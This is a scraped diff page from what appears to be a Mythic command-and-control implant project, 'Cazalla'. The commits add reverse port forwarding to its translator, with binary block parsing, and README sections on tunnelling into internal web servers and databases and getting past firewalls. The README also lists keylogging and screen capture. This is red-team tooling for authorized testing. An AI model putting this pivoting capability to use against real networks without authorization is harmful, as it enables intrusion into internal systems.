print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
|
print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
|
||||||
response.Message += socks_block
|
response.Message += socks_block
|
||||||
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
||||||
|
|
||||||
|
# Append RPFWD array if present from Mythic
|
||||||
|
rpfwd_list = inputMsg.Message.get("rpfwd", [])
|
||||||
|
print(f"[TRANSLATOR] RPFWD list: {len(rpfwd_list)} items")
|
||||||
|
if rpfwd_list:
|
||||||
|
# Encode an extension block for C agent: 0xF2 | [len] | [records]
|
||||||
|
# Each record: [Int32 server_id][Byte exit][Int32 b64len][b64][Int32 port]
|
||||||
|
extension = bytearray()
|
||||||
|
for r in rpfwd_list:
|
||||||
|
sid = int(r.get("server_id", 0))
|
||||||
|
exitb = 1 if r.get("exit", False) else 0
|
||||||
|
data_str = r.get("data") or ""
|
||||||
|
b64 = data_str.encode() if data_str else b""
|
||||||
|
port = int(r.get("port", 0))
|
||||||
|
data_preview = data_str[:50] if data_str else "(null)"
|
||||||
|
print(f"[TRANSLATOR] RPFWD: sid={sid} exit={exitb} b64_len={len(b64)} port={port} data={data_preview}")
|
||||||
|
extension += sid.to_bytes(4, "big")
|
||||||
|
extension += bytes([exitb])
|
||||||
|
extension += len(b64).to_bytes(4, "big")
|
||||||
|
extension += b64
|
||||||
|
extension += port.to_bytes(4, "big")
|
||||||
|
rpfwd_block = bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||||
|
print(f"[TRANSLATOR] RPFWD block total: {len(rpfwd_block)} bytes (marker + len={5} + ext={len(extension)})")
|
||||||
|
response.Message += rpfwd_block
|
||||||
|
print(f"[TRANSLATOR] Final message with RPFWD: {len(response.Message)} bytes")
|
||||||
|
|
||||||
elif inputMsg.Message["action"] == "post_response":
|
elif inputMsg.Message["action"] == "post_response":
|
||||||
print("[TRANSLATOR] Response POSTREP recibido de Mythic")
|
print("[TRANSLATOR] Response POSTREP recibido de Mythic")
|
||||||
@@ -187,6 +212,23 @@ class cazalla_translator(TranslationContainer):
|
|||||||
extension += len(b64).to_bytes(4, "big")
|
extension += len(b64).to_bytes(4, "big")
|
||||||
extension += b64
|
extension += b64
|
||||||
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||||
|
|
||||||
|
# Append RPFWD array if present from Mythic
|
||||||
|
rpfwd_list = inputMsg.Message.get("rpfwd", [])
|
||||||
|
if rpfwd_list:
|
||||||
|
extension = bytearray()
|
||||||
|
for r in rpfwd_list:
|
||||||
|
sid = int(r.get("server_id", 0))
|
||||||
|
exitb = 1 if r.get("exit", False) else 0
|
||||||
|
data_str = r.get("data") or ""
|
||||||
|
b64 = data_str.encode() if data_str else b""
|
||||||
|
port = int(r.get("port", 0))
|
||||||
|
extension += sid.to_bytes(4, "big")
|
||||||
|
extension += bytes([exitb])
|
||||||
|
extension += len(b64).to_bytes(4, "big")
|
||||||
|
extension += b64
|
||||||
|
extension += port.to_bytes(4, "big")
|
||||||
|
response.Message += bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||||
|
|
||||||
# ============================
|
# ============================
|
||||||
# NUEVOS COMANDOS SOCKS
|
# NUEVOS COMANDOS SOCKS
|
||||||
@@ -210,6 +252,29 @@ class cazalla_translator(TranslationContainer):
|
|||||||
}]
|
}]
|
||||||
response.Message = responseTasking(tasks)
|
response.Message = responseTasking(tasks)
|
||||||
|
|
||||||
|
# ============================
|
||||||
|
# NUEVOS COMANDOS RPFWD
|
||||||
|
# ============================
|
||||||
|
elif inputMsg.Message["action"] == "start_rpfwd":
|
||||||
|
print("Response START_RPFWD")
|
||||||
|
# Construye un paquete de tipo "start_rpfwd" con el puerto local
|
||||||
|
local_port = int(inputMsg.Message.get("port", 8080))
|
||||||
|
tasks = [{
|
||||||
|
"command": "start_rpfwd",
|
||||||
|
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||||
|
"parameters": json.dumps({"port": local_port})
|
||||||
|
}]
|
||||||
|
response.Message = responseTasking(tasks)
|
||||||
|
|
||||||
|
elif inputMsg.Message["action"] == "stop_rpfwd":
|
||||||
|
print("Response STOP_RPFWD")
|
||||||
|
tasks = [{
|
||||||
|
"command": "stop_rpfwd",
|
||||||
|
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||||
|
"parameters": ""
|
||||||
|
}]
|
||||||
|
response.Message = responseTasking(tasks)
|
||||||
|
|
||||||
# Apply encryption if needed (before sending to agent)
|
# Apply encryption if needed (before sending to agent)
|
||||||
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
||||||
print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent")
|
print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent")
|
||||||
@@ -279,6 +344,69 @@ class cazalla_translator(TranslationContainer):
|
|||||||
|
|
||||||
return clean_data, socks_array
|
return clean_data, socks_array
|
||||||
|
|
||||||
|
def extract_rpfwd_block(self, data):
|
||||||
|
"""
|
||||||
|
Extract RPFWD block (marker 0xF2) from agent message
|
||||||
|
Format: [0xF2 marker][ext_len:4][server_id:4][exit:1][b64_len:4][base64_data][port:4]...
|
||||||
|
Returns: (clean_data_without_rpfwd, rpfwd_array)
|
||||||
|
"""
|
||||||
|
rpfwd_array = []
|
||||||
|
clean_data = data
|
||||||
|
|
||||||
|
# Buscar el marcador 0xF2
|
||||||
|
cursor = 0
|
||||||
|
while cursor + 5 <= len(data):
|
||||||
|
if data[cursor] == 0xF2:
|
||||||
|
print(f"[TRANSLATOR] ¡Bloque RPFWD 0xF2 encontrado en offset {cursor}!")
|
||||||
|
# Leer longitud del bloque
|
||||||
|
ext_len = int.from_bytes(data[cursor+1:cursor+5], "big")
|
||||||
|
print(f"[TRANSLATOR] Longitud del bloque RPFWD: {ext_len} bytes")
|
||||||
|
|
||||||
|
if cursor + 5 + ext_len > len(data):
|
||||||
|
print(f"[TRANSLATOR] ERROR: bloque RPFWD truncado")
|
||||||
|
break
|
||||||
|
|
||||||
|
# Parsear cada registro RPFWD dentro del bloque
|
||||||
|
ecur = cursor + 5
|
||||||
|
eend = cursor + 5 + ext_len
|
||||||
|
while ecur + 13 <= eend: # 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
|
||||||
|
sid = int.from_bytes(data[ecur:ecur+4], "big")
|
||||||
|
exitf = data[ecur+4]
|
||||||
|
b64len = int.from_bytes(data[ecur+5:ecur+9], "big")
|
||||||
|
ecur += 9
|
||||||
|
|
||||||
|
if ecur + b64len + 4 > eend: # Need space for port too
|
||||||
|
print(f"[TRANSLATOR] ERROR: registro RPFWD truncado")
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extraer datos base64
|
||||||
|
b64_data = None
|
||||||
|
if b64len > 0:
|
||||||
|
b64_data = data[ecur:ecur+b64len].decode('ascii')
|
||||||
|
|
||||||
|
ecur += b64len
|
||||||
|
|
||||||
|
# Leer puerto
|
||||||
|
port = int.from_bytes(data[ecur:ecur+4], "big")
|
||||||
|
ecur += 4
|
||||||
|
|
||||||
|
rpfwd_record = {
|
||||||
|
"server_id": sid,
|
||||||
|
"exit": bool(exitf),
|
||||||
|
"data": b64_data,
|
||||||
|
"port": port
|
||||||
|
}
|
||||||
|
rpfwd_array.append(rpfwd_record)
|
||||||
|
print(f"[TRANSLATOR] RPFWD record: sid={sid} exit={exitf} b64_len={b64len} port={port}")
|
||||||
|
|
||||||
|
# Remover el bloque RPFWD del mensaje
|
||||||
|
clean_data = data[:cursor]
|
||||||
|
print(f"[TRANSLATOR] Bloque RPFWD extraído, {len(rpfwd_array)} registros encontrados")
|
||||||
|
break
|
||||||
|
cursor += 1
|
||||||
|
|
||||||
|
return clean_data, rpfwd_array
|
||||||
|
|
||||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||||
print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)")
|
print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)")
|
||||||
@@ -288,22 +416,20 @@ class cazalla_translator(TranslationContainer):
|
|||||||
data = inputMsg.Message
|
data = inputMsg.Message
|
||||||
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
||||||
print("[TRANSLATOR] Decrypting message from agent...")
|
print("[TRANSLATOR] Decrypting message from agent...")
|
||||||
print(f"[TRANSLATOR] Encrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
|
|
||||||
try:
|
try:
|
||||||
data = self.aes256_decrypt(data)
|
data = self.aes256_decrypt(data)
|
||||||
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
|
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
|
||||||
print(f"[TRANSLATOR] Decrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"[TRANSLATOR] ERROR: Decryption failed: {e}")
|
print(f"[TRANSLATOR] ERROR: Decryption failed: {e}")
|
||||||
response.Success = False
|
response.Success = False
|
||||||
response.Error = f"Decryption failed: {str(e)}"
|
response.Error = f"Decryption failed: {str(e)}"
|
||||||
return response
|
return response
|
||||||
else:
|
# Removed excessive hex dump - use debug logging if needed
|
||||||
print("IMPLANT --> C2 : " + binascii.hexlify(data).decode('cp850'))
|
|
||||||
|
|
||||||
# Extract SOCKS block if exists (after first command byte)
|
# Extract SOCKS and RPFWD blocks if exist (after first command byte)
|
||||||
# Note: Now data is plaintext (decrypted if encryption was used)
|
# Note: Now data is plaintext (decrypted if encryption was used)
|
||||||
clean_data, socks_array = self.extract_socks_block(data[1:])
|
clean_data, socks_array = self.extract_socks_block(data[1:])
|
||||||
|
clean_data, rpfwd_array = self.extract_rpfwd_block(clean_data)
|
||||||
|
|
||||||
if data[0] == commands["checkin"]["hex_code"]:
|
if data[0] == commands["checkin"]["hex_code"]:
|
||||||
print("CHECK IN")
|
print("CHECK IN")
|
||||||
@@ -316,18 +442,26 @@ class cazalla_translator(TranslationContainer):
|
|||||||
if socks_array:
|
if socks_array:
|
||||||
response.Message["socks"] = socks_array
|
response.Message["socks"] = socks_array
|
||||||
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
|
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
|
||||||
|
# Agregar array RPFWD si existe
|
||||||
|
if rpfwd_array:
|
||||||
|
response.Message["rpfwd"] = rpfwd_array
|
||||||
|
print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a GET TASKING")
|
||||||
|
|
||||||
elif data[0] == commands["post_response"]["hex_code"]:
|
elif data[0] == commands["post_response"]["hex_code"]:
|
||||||
print("POST RESPONSE")
|
print("POST RESPONSE")
|
||||||
print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes")
|
print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes")
|
||||||
print(f"[DEBUG] POST_RESPONSE - data[0:100] (hex): {binascii.hexlify(data[:100]).decode()}")
|
# Removed hex dump - use debug logging if needed
|
||||||
print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes")
|
print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes")
|
||||||
print(f"[DEBUG] POST_RESPONSE - clean_data[0:100] (hex): {binascii.hexlify(clean_data[:100] if len(clean_data) >= 100 else clean_data).decode()}")
|
# Removed hex dump - use debug logging if needed
|
||||||
response.Message = postResponse(clean_data)
|
response.Message = postResponse(clean_data)
|
||||||
# Agregar array SOCKS si existe
|
# Agregar array SOCKS si existe
|
||||||
if socks_array:
|
if socks_array:
|
||||||
response.Message["socks"] = socks_array
|
response.Message["socks"] = socks_array
|
||||||
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
|
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
|
||||||
|
# Agregar array RPFWD si existe
|
||||||
|
if rpfwd_array:
|
||||||
|
response.Message["rpfwd"] = rpfwd_array
|
||||||
|
print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a POST RESPONSE")
|
||||||
|
|
||||||
# ============================
|
# ============================
|
||||||
# NUEVOS COMANDOS SOCKS
|
# NUEVOS COMANDOS SOCKS
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ def getBytesWithSize(data):
|
|||||||
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
|
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
|
||||||
if size > MAX_REASONABLE_SIZE:
|
if size > MAX_REASONABLE_SIZE:
|
||||||
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
|
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
|
||||||
print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}")
|
# Removed hex dump - use debug logging if needed
|
||||||
# If size is suspicious, maybe it's actually a marker byte
|
# If size is suspicious, maybe it's actually a marker byte
|
||||||
# Return empty output and keep all data as remaining
|
# Return empty output and keep all data as remaining
|
||||||
return b"", data
|
return b"", data
|
||||||
|
|||||||
@@ -20,6 +20,7 @@
|
|||||||
- [Installation](#installation)
|
- [Installation](#installation)
|
||||||
- [Supported Commands](#supported-commands)
|
- [Supported Commands](#supported-commands)
|
||||||
- [SOCKS Proxy Support](#socks-proxy-support)
|
- [SOCKS Proxy Support](#socks-proxy-support)
|
||||||
|
- [Reverse Port Forwarding (RPFWD) Support](#-reverse-port-forwarding-rpfwd-support)
|
||||||
- [Communication Protocol](#communication-protocol)
|
- [Communication Protocol](#communication-protocol)
|
||||||
- [Configuration](#configuration)
|
- [Configuration](#configuration)
|
||||||
- [Process Browser Integration](#process-browser-integration)
|
- [Process Browser Integration](#process-browser-integration)
|
||||||
@@ -222,6 +223,7 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
| Command | Description | Example |
|
| Command | Description | Example |
|
||||||
|---------|-------------|---------|
|
|---------|-------------|---------|
|
||||||
| `socks` | Start/stop SOCKS proxy | `socks {"action":"start","port":7002}` |
|
| `socks` | Start/stop SOCKS proxy | `socks {"action":"start","port":7002}` |
|
||||||
|
| `rpfwd` | Start/stop reverse port forwarding | `rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -337,6 +339,107 @@ Agent and translator communicate SOCKS data using a custom binary block:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 🔄 Reverse Port Forwarding (RPFWD) Support
|
||||||
|
|
||||||
|
Cazalla includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic.
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Agent opens a listener** on a local port (e.g., `8080` on the agent host)
|
||||||
|
2. **External client connects** to the agent's listener port
|
||||||
|
3. **Agent sends connection data** to Mythic via RPFWD protocol
|
||||||
|
4. **Mythic connects** to the configured remote destination (`remote_host:remote_port`)
|
||||||
|
5. **Bidirectional relay** between client ↔ Agent ↔ Mythic ↔ Remote destination
|
||||||
|
|
||||||
|
This is the **reverse** of a normal forward port: instead of connecting from Mythic to a remote service through the agent, connections originate from external clients to the agent and are tunneled to a remote destination.
|
||||||
|
|
||||||
|
### Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start reverse port forward on agent port 8080, forwarding to 127.0.0.1:80
|
||||||
|
rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
|
||||||
|
|
||||||
|
# Stop reverse port forward
|
||||||
|
rpfwd {"action":"stop","port":8080}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Use Cases
|
||||||
|
|
||||||
|
- **Access internal services**: Expose internal services (e.g., database, web server) by having the agent listen on a port
|
||||||
|
- **Bypass firewall restrictions**: When you can't connect from Mythic but can connect to the agent
|
||||||
|
- **Service tunneling**: Tunnel arbitrary TCP services through the agent
|
||||||
|
|
||||||
|
### Testing RPFWD
|
||||||
|
|
||||||
|
**Important**: The agent listens on **its own host**, not on the Mythic server. To test:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# From another machine or from the agent host itself:
|
||||||
|
nc -nzv <agent_ip> 8080
|
||||||
|
|
||||||
|
# Or from the agent host:
|
||||||
|
nc -nzv 127.0.0.1 8080
|
||||||
|
```
|
||||||
|
|
||||||
|
**Port Requirements**:
|
||||||
|
- **Non-privileged ports (>=1024)**: Recommended for normal users (e.g., `8080`, `4444`, `5555`)
|
||||||
|
- **Privileged ports (<1024)**: Require administrator privileges on Windows (e.g., `80`, `443`, `445`)
|
||||||
|
- If bind fails with `WSAError=10013`, the port requires admin privileges or is already in use
|
||||||
|
|
||||||
|
### Example Scenarios
|
||||||
|
|
||||||
|
#### Scenario 1: Expose Internal Web Server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Agent is on internal network with a web server at 192.168.1.100:80
|
||||||
|
# Start RPFWD to tunnel external connections to the internal server
|
||||||
|
rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
|
||||||
|
|
||||||
|
# Now, connecting to agent:8080 will forward to 192.168.1.100:80
|
||||||
|
curl http://<agent_ip>:8080
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Scenario 2: Tunnel Database Access
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Tunnel database connections through the agent
|
||||||
|
rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
|
||||||
|
|
||||||
|
# Connect to MySQL through the agent (from another machine)
|
||||||
|
mysql -h <agent_ip> -P 3306 -u user -p
|
||||||
|
```
|
||||||
|
|
||||||
|
### Technical Details
|
||||||
|
|
||||||
|
#### Binary Protocol (0xF2 RPFWD Block)
|
||||||
|
|
||||||
|
Agent and translator communicate RPFWD data using a custom binary block:
|
||||||
|
|
||||||
|
```
|
||||||
|
[0xF2] [ext_len:4] [server_id:4] [exit:1] [b64_len:4] [base64_data:N] [port:4]
|
||||||
|
```
|
||||||
|
|
||||||
|
- `0xF2`: RPFWD block marker
|
||||||
|
- `ext_len`: Total extension length (remaining bytes)
|
||||||
|
- `server_id`: Unique connection ID from Mythic
|
||||||
|
- `exit`: `1` if connection should close, `0` otherwise
|
||||||
|
- `b64_len`: Length of base64-encoded payload
|
||||||
|
- `base64_data`: Base64-encoded raw bytes (connection data)
|
||||||
|
- `port`: Local port on agent (optional, for connection tracking)
|
||||||
|
|
||||||
|
#### Agent Implementation
|
||||||
|
|
||||||
|
- **File**: `rpfwd_manager.c` / `rpfwd_manager.h`
|
||||||
|
- **Commands**: `0x62` (START_RPFWD), `0x63` (STOP_RPFWD)
|
||||||
|
- **Thread Model**: One listener thread + one reader thread per active connection
|
||||||
|
- **Socket Management**: Automatic cleanup of closed connections
|
||||||
|
|
||||||
|
#### Artifacts
|
||||||
|
|
||||||
|
- **Network Connection**: Automatically reported when RPFWD listener starts on a port
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 📡 Communication Protocol
|
## 📡 Communication Protocol
|
||||||
|
|
||||||
Cazalla uses a custom binary protocol for efficient communication with Mythic.
|
Cazalla uses a custom binary protocol for efficient communication with Mythic.
|
||||||
@@ -369,6 +472,7 @@ Cazalla uses a custom binary protocol for efficient communication with Mythic.
|
|||||||
| `0x80` | Agent → Mythic | GET_TASKING (request new tasks) |
|
| `0x80` | Agent → Mythic | GET_TASKING (request new tasks) |
|
||||||
| `0x81` | Agent → Mythic | POST_RESPONSE (send task output) |
|
| `0x81` | Agent → Mythic | POST_RESPONSE (send task output) |
|
||||||
| `0xF5` | Bidirectional | SOCKS data block |
|
| `0xF5` | Bidirectional | SOCKS data block |
|
||||||
|
| `0xF2` | Bidirectional | RPFWD data block |
|
||||||
|
|
||||||
### Task Structure
|
### Task Structure
|
||||||
|
|
||||||
@@ -383,6 +487,8 @@ Example command IDs:
|
|||||||
- `0x10`: List directory
|
- `0x10`: List directory
|
||||||
- `0x60`: Start SOCKS
|
- `0x60`: Start SOCKS
|
||||||
- `0x61`: Stop SOCKS
|
- `0x61`: Stop SOCKS
|
||||||
|
- `0x62`: Start RPFWD
|
||||||
|
- `0x63`: Stop RPFWD
|
||||||
|
|
||||||
### Encoding
|
### Encoding
|
||||||
|
|
||||||
@@ -530,6 +636,8 @@ Cazalla automatically reports artifacts created during command execution, allowi
|
|||||||
- **API Call**: Reported for:
|
- **API Call**: Reported for:
|
||||||
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
||||||
- `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA)
|
- `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA)
|
||||||
|
- **Network Connection**: Reported for:
|
||||||
|
- `rpfwd start` - Reverse port forward listener started on port
|
||||||
|
|
||||||
### How It Works
|
### How It Works
|
||||||
|
|
||||||
@@ -597,7 +705,7 @@ Currently supported:
|
|||||||
- `cat` - read-only file operation (doesn't create artifacts, but may report credentials)
|
- `cat` - read-only file operation (doesn't create artifacts, but may report credentials)
|
||||||
|
|
||||||
Future support can be added for:
|
Future support can be added for:
|
||||||
- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections)
|
- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections) - **Note**: Currently implemented for `rpfwd`
|
||||||
- **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
|
- **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
|
||||||
- **Process Inject**: When processes are injected into (e.g., `inject` command)
|
- **Process Inject**: When processes are injected into (e.g., `inject` command)
|
||||||
|
|
||||||
@@ -638,6 +746,7 @@ Example implementations:
|
|||||||
- `download`: File Read artifact with downloaded file path
|
- `download`: File Read artifact with downloaded file path
|
||||||
- `screenshot`: API Call artifact for screen capture APIs
|
- `screenshot`: API Call artifact for screen capture APIs
|
||||||
- `keylog_start`: API Call artifact for keyboard hook APIs
|
- `keylog_start`: API Call artifact for keyboard hook APIs
|
||||||
|
- `rpfwd start`: Network Connection artifact for reverse port forward listener
|
||||||
|
|
||||||
### Best Practices for New Commands
|
### Best Practices for New Commands
|
||||||
|
|
||||||
@@ -649,7 +758,7 @@ Example implementations:
|
|||||||
- Any command that creates, modifies, or deletes files (`cp`, `mkdir`, `rm`, `upload`, `download`)
|
- Any command that creates, modifies, or deletes files (`cp`, `mkdir`, `rm`, `upload`, `download`)
|
||||||
- Any command that executes processes (`shell`, `execute`, `inject`)
|
- Any command that executes processes (`shell`, `execute`, `inject`)
|
||||||
- Any command that modifies registry (`reg_set`, `reg_delete`)
|
- Any command that modifies registry (`reg_set`, `reg_delete`)
|
||||||
- Any command that creates network connections (`socks`, custom network commands)
|
- Any command that creates network connections (`socks`, `rpfwd`, custom network commands)
|
||||||
- Any command that modifies system configuration
|
- Any command that modifies system configuration
|
||||||
|
|
||||||
❌ **Commands that DON'T need artifacts:**
|
❌ **Commands that DON'T need artifacts:**
|
||||||
@@ -1401,6 +1510,7 @@ Cazalla/
|
|||||||
│ ├── paquete.c/h # Packet creation
|
│ ├── paquete.c/h # Packet creation
|
||||||
│ ├── transporte.c/h # HTTP transport (WinHTTP)
|
│ ├── transporte.c/h # HTTP transport (WinHTTP)
|
||||||
│ ├── socks_manager.c/h # SOCKS proxy logic
|
│ ├── socks_manager.c/h # SOCKS proxy logic
|
||||||
|
│ ├── rpfwd_manager.c/h # Reverse port forwarding logic
|
||||||
│ ├── procesos.c/h # Process listing (with Process Browser support)
|
│ ├── procesos.c/h # Process listing (with Process Browser support)
|
||||||
│ ├── crypto.c/h # AES-256-CBC encryption with HMAC-SHA256
|
│ ├── crypto.c/h # AES-256-CBC encryption with HMAC-SHA256
|
||||||
│ ├── checkin.c/h # Initial check-in
|
│ ├── checkin.c/h # Initial check-in
|
||||||
@@ -1410,6 +1520,7 @@ Cazalla/
|
|||||||
│ ├── shell.py, sleep.py # Execution control
|
│ ├── shell.py, sleep.py # Execution control
|
||||||
│ ├── ps.py # Process listing (Process Browser enabled)
|
│ ├── ps.py # Process listing (Process Browser enabled)
|
||||||
│ ├── socks.py # SOCKS proxy command
|
│ ├── socks.py # SOCKS proxy command
|
||||||
|
│ ├── rpfwd.py # Reverse port forwarding command
|
||||||
│ └── builder.py # Payload builder (with encryption support)
|
│ └── builder.py # Payload builder (with encryption support)
|
||||||
├── translator/ # Mythic ↔ Agent translation
|
├── translator/ # Mythic ↔ Agent translation
|
||||||
│ ├── translator.py # Main translator (with encryption support)
|
│ ├── translator.py # Main translator (with encryption support)
|
||||||
|
|||||||
Reference in New Issue
Block a user